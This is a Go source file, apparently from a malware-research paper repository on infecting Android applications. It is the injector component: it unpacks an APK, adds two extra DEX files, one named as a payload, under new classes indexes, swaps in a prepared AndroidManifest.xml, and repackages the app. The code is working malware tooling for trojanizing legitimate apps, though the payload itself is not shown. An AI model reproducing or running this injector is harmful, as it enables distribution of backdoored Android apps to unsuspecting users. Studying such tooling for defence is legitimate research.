VXUG-Papers/Infecting Android Applications The New Way/master/common/injector.go
2020-10-11 00:40:44 -05:00

241 lines
5.1 KiB
Go

package common
import (
"archive/zip"
"compress/flate"
"fmt"
"io"
"io/ioutil"
"log"
"os"
"path/filepath"
"strconv"
"strings"
)
var zipOutput, _ = filepath.Abs("sample_unzipped")
var injectedAppPrevName, _ = filepath.Abs("InjectedApp_patched.dex")
var payloadPrevName, _ = filepath.Abs("payload.dex")
func Inject(path string, zipModifiedOutput string) {
if _, err := os.Stat(zipOutput); err == nil {
err := os.RemoveAll(zipOutput)
if err != nil {
log.Panic(err)
}
}
if _, err := os.Stat(zipModifiedOutput); err == nil {
err := os.Remove(zipModifiedOutput)
if err != nil {
log.Panic(err)
}
}
//unzip apk
files, err := unzip(path, zipOutput)
if err != nil {
log.Panic("Failed to unzip APK",err)
//log.Printf("Unzipped:\n" + strings.Join(files, "\n"))
}
//calc classes.dex index
max := strings.Count(strings.Join(files, ""), "classes")
log.Printf("max classes dex index = %d", max)
max += 1
// inject InjectedApp.dex
var injectedAppNewName = "classes" + strconv.Itoa(max) + ".dex"
copy(injectedAppPrevName, zipOutput + "\\" + injectedAppNewName)
max +=1
// inject payload.dex
var payloadNewName = "classes" + strconv.Itoa(max) + ".dex"
copy(payloadPrevName, zipOutput + "\\" + payloadNewName)
log.Printf("Successfuly injected DEX:" + injectedAppNewName + "," + payloadNewName)
//replace manifest
copy(ManifestBinaryPath, zipOutput + "\\AndroidManifest.xml")
files = append(files[0:], zipOutput + "\\" + injectedAppNewName)
files = append(files[0:], zipOutput + "\\" + payloadNewName)
// zip all files
fmt.Println("\t--zipping...")
ZipWriter(zipModifiedOutput)
//delete sample_unzipped - we dont need it
if _, err := os.Stat(zipOutput); err == nil {
err := os.RemoveAll(zipOutput)
if err != nil {
log.Panic(err)
}
}
}
func ZipWriter(zipModifiedOutput string) {
baseFolder,_ := filepath.Abs("sample_unzipped")
// Get a Buffer to Write To
outFile, err := os.Create(zipModifiedOutput)
if err != nil {
fmt.Println(err)
}
defer outFile.Close()
// Create a new zip archive.
w := zip.NewWriter(outFile)
// Register a custom Deflate compressor.
w.RegisterCompressor(zip.Deflate, func(out io.Writer) (io.WriteCloser, error) {
return flate.NewWriter(out, flate.BestCompression)
})
// Add some files to the archive.
addFiles(w, baseFolder, "")
if err != nil {
fmt.Println(err)
}
// Make sure to check the error on Close.
err = w.Close()
if err != nil {
fmt.Println(err)
}
}
func addFiles(w *zip.Writer, basePath, baseInZip string) {
// Open the Directory
files, err := ioutil.ReadDir(basePath)
if err != nil {
fmt.Println(err)
}
for _, file := range files {
//fmt.Println(basePath + file.Name())
if !file.IsDir() {
dat, err := ioutil.ReadFile(basePath + "\\" + file.Name())
if err != nil {
fmt.Println(err)
}
// Add some files to the archive.
f, err := w.Create(baseInZip + file.Name())
if err != nil {
fmt.Println(err)
}
_, err = f.Write(dat)
if err != nil {
fmt.Println(err)
}
} else if file.IsDir() {
// Recurse
newBase := basePath + "\\" + file.Name()
//fmt.Println("Recursing and Adding SubDir: " + file.Name())
//fmt.Println("Recursing and Adding SubDir: " + newBase)
recPath := baseInZip + file.Name() + "/"
addFiles(w, newBase, recPath)
}
}
}
func copy(src, dst string){
sourceFileStat, err := os.Stat(src)
if err != nil {
log.Panic("Failed to inject DEX", err)
}
if !sourceFileStat.Mode().IsRegular() {
log.Panic("Failed to inject DEX", err)
}
source, err := os.Open(src)
if err != nil {
log.Panic("Failed to inject DEX", err)
}
defer source.Close()
destination, err := os.Create(dst)
if err != nil {
log.Panic("Failed to inject DEX", err)
}
defer destination.Close()
_, err = io.Copy(destination, source)
if err != nil {
log.Panic("Failed to inject DEX", err)
}
}
// Unzip will decompress a zip archive, moving all files and folders
// within the zip file (parameter 1) to an output directory (parameter 2).
func unzip(src string, dest string) ([]string, error) {
var filenames []string
r, err := zip.OpenReader(src)
if err != nil {
return filenames, err
}
defer r.Close()
for _, f := range r.File {
// Store filename/path for returning and using later on
fpath := filepath.Join(dest, f.Name)
// Check for ZipSlip. More Info: http://bit.ly/2MsjAWE
if !strings.HasPrefix(fpath, filepath.Clean(dest)+string(os.PathSeparator)) {
return filenames, fmt.Errorf("%s: illegal file path", fpath)
}
filenames = append(filenames, fpath)
if f.FileInfo().IsDir() {
// Make Folder
os.MkdirAll(fpath, os.ModePerm)
continue
}
// Make File
if err = os.MkdirAll(filepath.Dir(fpath), os.ModePerm); err != nil {
return filenames, err
}
outFile, err := os.OpenFile(fpath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode())
if err != nil {
return filenames, err
}
rc, err := f.Open()
if err != nil {
return filenames, err
}
_, err = io.Copy(outFile, rc)
// Close the file without defer to close before next iteration of loop
outFile.Close()
rc.Close()
if err != nil {
return filenames, err
}
}
return filenames, nil
}